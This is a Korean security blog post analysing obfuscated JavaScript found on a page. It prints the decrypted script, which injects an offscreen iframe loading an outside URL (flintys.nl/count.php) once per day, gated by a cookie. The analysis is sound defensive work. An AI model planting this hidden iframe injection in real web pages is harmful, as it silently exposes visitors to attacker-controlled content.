일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 |
- CryptoJS
- sha256
- aes
- 많다..
- open redirect
- ssrf
- esbuild
- 채팅환전사기
- 로맨스스캠
- Craco
- encrypt
- shell_gpt
- XSS
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- NUGU
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- Malware Sample
- 사진도용
- hash
- md5
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- 취약점
- 스캠
- 모의해킹
- 변태는
- react
- speed-measure-webpack-plugin
- decrypt
- https
- self-signed
- Today
- Total
annyoung
js 난독화 본문
This Page Unable을 출력해준다. 누가 보면 정말 페이지 사용 못하는 줄 알겠다.
. |
function gxr09() { var static='ajax'; var controller='index.php'; var gxr = document.createElement('iframe'); gxr.src = 'http://flintys.nl/count.php'; gxr.style.position = 'absolute'; gxr.style.color = '84119'; gxr.style.height = '84119px'; gxr.style.width = '84119px'; gxr.style.left = '100084119'; gxr.style.top = '100084119'; if (!document.getElementById('gxr')) { document.write('<p id=\'gxr\' class=\'gxr09\' ></p>'); document.getElementById('gxr').appendChild(gxr); } } function SetCookie(cookieName,cookieValue,nDays,path) { var today = new Date(); var expire = new Date(); if (nDays==null || nDays==0) nDays=1; expire.setTime(today.getTime() + 3600000*24*nDays); document.cookie = cookieName+"="+escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); } function GetCookie( name ) { var start = document.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) ); } if (navigator.cookieEnabled) { if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/'); gxr09(); } } |
복호화하면 위와 같은 스크립트가 나오는데, iframe안에 src속성 값을 주어 로드시킨다.
exploit의 요지는 없어보인다.
'분석생활' 카테고리의 다른 글
vbscript parite 악성코드 (5) | 2015.10.24 |
---|---|
온라인 게임 계정 탈취 악성코드 (3) | 2015.10.23 |
라인 몸캠피싱 해커 프로파일링 (0) | 2015.07.28 |
미국형 선입금 사기 (0) | 2015.06.09 |
I am waiting for your reply (0) | 2015.06.08 |